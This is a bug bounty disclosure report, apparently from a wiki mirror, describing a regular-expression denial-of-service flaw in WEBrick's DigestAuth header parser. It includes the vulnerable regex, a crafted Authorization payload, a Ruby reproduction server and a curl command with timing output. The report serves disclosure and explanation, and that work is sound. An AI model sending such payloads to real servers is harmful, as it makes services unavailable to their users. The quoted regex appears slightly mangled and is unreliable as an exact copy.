WEBrick::HTTPAuth::DigestAuth authentication is vulnerable to regular expression denial of service (ReDoS)
The DigestAuth parameter parser in WEBrick uses a regular expression that backtracks catastrophically on crafted input. An attacker could send a malicious Authorization header to make the HTTP server consume 100% CPU and become unresponsive.
- Triaged in 39 days
- Fixed in 3 months
- Paid in 3 months
- Disclosed after 4 months
The private instance method split_param_value in class WEBrick::HTTPAuth::DigestAuth uses a regular expression that is vulnerable to denial of service due to catastrophic backtracking.
The regular expression is: ^\s*([\w-.*%!]+)=\s*"((\.|[^"]))"\s,? Source: https://github.com/ruby/ruby/blob/149e414ed529d27aaeb0543bc133e08c782d8d41/lib/webrick/httpauth/digestauth.rb#L295
Sample attack string that causes catastrophic backtracking: a="\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b
The issue can be reproduced with the following HTTP server configured with DigestAuth:
#!/usr/bin/env ruby
require 'webrick'
config = { :Realm => 'DigestAuth example realm' }
htdigest = WEBrick::HTTPAuth::Htdigest.new 'my_password_file'
htdigest.set_passwd config[:Realm], 'username', 'password'
htdigest.flush
config[:UserDB] = htdigest
digest_auth = WEBrick::HTTPAuth::DigestAuth.new config
auth_handler = proc do |request, response|
digest_auth.authenticate request, response
end
server = WEBrick::HTTPServer.new :Port => 8000, :RequestCallback => auth_handler
server.mount_proc '/' do |req, res|
res.body = 'hello, world'
end
trap 'INT' do server.shutdown end
server.start
Running the program above, an attacker can cause the HTTP server to consume 100% CPU by sending an authorization header that exploits the catastrophic backtracking.
Sample HTTP request with cURL:
$ time curl -I --header 'Authorization: Digest a="\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b' http://localhost:8000
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=ISO-8859-1
Server: WEBrick/1.4.2 (Ruby/2.5.5/2019-03-15)
Date: Sat, 27 Jul 2019 05:38:27 GMT
Content-Length: 291
Connection: close
real 0m9.714s
user 0m0.013s
sys 0m0.003s
Note that it takes the HTTP server 9 seconds to respond that it's a bad request. A larger attack string, like 'Authorization: Digest a="\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b', would take much longer to evaluate.
Impact
An attacker could cause an effective denial of service, by crafting an input which exploits catastrophic backtracking for the regular expression.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The regular expression used to parse digest parameter values contains nested repetition that allows catastrophic backtracking on crafted input.
Impact
An attacker could cause an effective denial of service by making the server spend excessive CPU on a single crafted request.
What the attacker needed
Network access to the WEBrick server; server uses DigestAuth
How it was found
- Set up a WEBrick HTTP server configured with DigestAuth.
- Send a request whose Authorization header contains a Digest value with many repeated escape sequences.
- Observe that the server takes several seconds to return a bad request and consumes CPU.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A regular expression is a pattern used to match text. Some patterns can be written so that, on certain inputs, the matching engine tries an enormous number of combinations before giving up. Here a crafted header makes the server spend seconds or longer just checking one string, so it cannot serve other users.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.